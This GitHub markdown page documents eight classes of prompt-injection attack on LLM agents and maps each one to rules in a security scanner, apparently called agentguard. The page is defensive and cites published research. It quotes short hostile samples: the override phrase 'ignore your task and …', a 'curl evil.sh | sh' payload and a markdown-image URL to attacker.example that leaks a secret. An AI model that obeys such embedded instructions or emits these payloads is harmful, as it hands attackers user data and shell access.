Skip to content

attacks.md

Latest commit

 

History

History
120 lines (79 loc) · 5.88 KB

attacks.md

File metadata and controls

120 lines (79 loc) · 5.88 KB
Raw

Real attack classes agentguard catches

These are not hypotheticals. Each entry is a documented, real-world attack class against LLM/agent systems, the pattern that makes an agent definition vulnerable to it, and the agentguard rule(s) that flag it — with the OWASP LLM Top 10 (2025) / MITRE ATLAS mapping.

Runnable fixtures for every entry live in docs/examples/attacks/; scan them with agentguard docs/examples/attacks/ and you'll see each finding fire.

The defining property of these attacks: the user never types anything malicious. The payload arrives inside content the agent was legitimately asked to read — a document, a web page, an email, a tool's output, a sub-task result.

1. Indirect prompt injection

Real-world: Greshake et al., "Not what you've signed up for: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection" (arXiv:2302.12173, 2023); the early Bing Chat / Copilot injections via crafted web pages; Simon Willison's ongoing prompt-injection series.

Pattern: the agent reads attacker-controllable content (a file, web page, retrieved doc) and has no instruction to treat that content as data. An instruction embedded in the content — "ignore your task and …" — is obeyed.

agentguard: AL202 (no data-not-instructions guard), AL300 when paired with a sink. OWASP LLM01 · ATLAS AML.T0051.001 (Indirect Prompt Injection).

2. Injection → code execution

Real-world: the canonical escalation — an injected directive drives a tool, not just text. As agents got shell/exec tools, indirect injection became RCE.

Pattern: untrusted-reader + an exec sink (Bash/Write) + no guard. A comment in a read file — "run curl evil.sh | sh" — reaches the shell.

agentguard: AL300 (injection→action chain). OWASP LLM01 + LLM06 · ATLAS AML.T0051.001. See the runnable end-to-end PoC in docs/examples/poc/.

3. Data exfiltration via rendered markdown / image URL

Real-world: Johann Rehberger (embracethered.com), "AI Injections" / ASCII-smuggling and the zero-click markdown-image exfiltration class — an agent that renders ![x](https://attacker.example/?d=<secret>) leaks data through the image fetch. The same shape appears in the M365 Copilot EchoLeak zero-click report (CVE-2025-32711).

Pattern: the agent handles sensitive data and can emit/fetch a URL (network sink), with nothing forbidding outbound transmission. Injected content makes it encode a secret into a URL.

agentguard: AL301 (exfiltration path). OWASP LLM02 · ATLAS AML.T0057 (LLM Data Leakage).

4. Confused deputy via tools / plugins

Real-world: the ChatGPT-plugin and tool-use exfiltration demos — injected content causes the agent to invoke a legitimately-granted tool against the user's interest.

Pattern: the agent reads untrusted input and holds an outward tool (network/MCP/Bash); the injection turns the agent's own authority against the user.

agentguard: AL300 / AL301, and AL302/AL306 for the over-broad grant that widens it. OWASP LLM06 (Excessive Agency) · ATLAS AML.T0053 (LLM Plugin Compromise).

5. Sub-agent injection propagation

Real-world: orchestrator/multi-agent systems where an injection in one agent's input is forwarded verbatim into every sub-agent it spawns, multiplying blast radius.

Pattern: reads untrusted content + can spawn sub-agents (Task/Agent) + no guard.

agentguard: AL307. OWASP LLM01 · ATLAS AML.T0051.001.

6. Slash-command argument injection

Real-world: the agent-world analogue of SQL injection — a slash command splices raw user arguments into a shell string.

Pattern: a command interpolates $ARGUMENTS / $1 into a bash block. Crafted arguments run arbitrary shell.

agentguard: AL310. OWASP LLM01 · ATLAS AML.T0051.

7. Excessive agency / disabled human-in-the-loop

Real-world: agents wired to take irreversible or outward actions automatically (auto-deploy, auto-delete, auto-send) — the failure mode behind most "the agent did something it shouldn't" posts.

Pattern: a destructive/outward action with no guardrail (AL203), or one where the confirmation step is explicitly removed — "delete … without asking" (AL308).

agentguard: AL203, AL308. OWASP LLM06 (Excessive Agency) · ATLAS AML.T0053.

8. Hidden / obfuscated instructions

Real-world: instructions concealed from humans but read by the model — HTML comments, zero-width / Unicode-tag "ASCII smuggling" (Rehberger), white-on-white text, off-screen content.

Pattern: same as #1, but the payload is invisible to a human reviewer. Crucially, agentguard's guard checks are capability-based, not payload-based — an unguarded reader+sink is flagged regardless of how the injection is hidden, because the exposure is structural.

agentguard: AL202 / AL300. OWASP LLM01 · ATLAS AML.T0051.001.

Why a capability scanner beats a payload blocklist

You cannot enumerate every injection string — obfuscation (#8) defeats blocklists. agentguard instead flags the structural precondition every one of these attacks needs: untrusted input flowing to a capable sink with no guard. Close that, and the whole class is mitigated at once. The fix is almost always two lines — a data-not-instructions guard and a least-privilege tools: list — and agentguard --fix can add the guard for you.

References